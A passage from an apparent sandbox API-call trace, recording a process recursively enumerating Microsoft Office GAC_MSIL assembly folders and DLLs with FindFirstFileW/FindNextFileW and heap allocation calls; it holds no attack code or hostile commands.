ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0289.662] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.662] GetProcessHeap () returned 0xaf0000 [0289.662] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.663] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0289.663] GetProcessHeap () returned 0xaf0000 [0289.663] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.665] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.665] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient", cAlternateFileName="MICROS~1.ADO")) returned 1 [0289.665] GetProcessHeap () returned 0xaf0000 [0289.665] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.668] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.668] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1 [0289.669] GetProcessHeap () returned 0xaf0000 [0289.669] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.670] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.670] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.670] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.670] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.670] GetProcessHeap () returned 0xaf0000 [0289.670] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.670] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0289.670] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.670] GetProcessHeap () returned 0xaf0000 [0289.670] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.670] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0289.671] GetProcessHeap () returned 0xaf0000 [0289.671] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.671] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.671] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1 [0289.671] GetProcessHeap () returned 0xaf0000 [0289.671] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.672] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.672] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.672] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.672] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.672] GetProcessHeap () returned 0xaf0000 [0289.672] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.672] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0289.672] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.672] GetProcessHeap () returned 0xaf0000 [0289.672] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.672] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0289.672] GetProcessHeap () returned 0xaf0000 [0289.672] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.673] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.673] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0289.673] GetProcessHeap () returned 0xaf0000 [0289.673] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.673] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.673] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.674] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.674] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.674] GetProcessHeap () returned 0xaf0000 [0289.674] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.674] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0289.674] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.674] GetProcessHeap () returned 0xaf0000 [0289.674] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.674] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0289.674] GetProcessHeap () returned 0xaf0000 [0289.674] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.675] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.675] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0289.675] GetProcessHeap () returned 0xaf0000 [0289.675] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.675] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.675] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12860, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.businessapplications.diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.675] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12860, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.businessapplications.diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.676] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.676] GetProcessHeap () returned 0xaf0000 [0289.676] HeapFree (in: hHeap=0xaf0000, 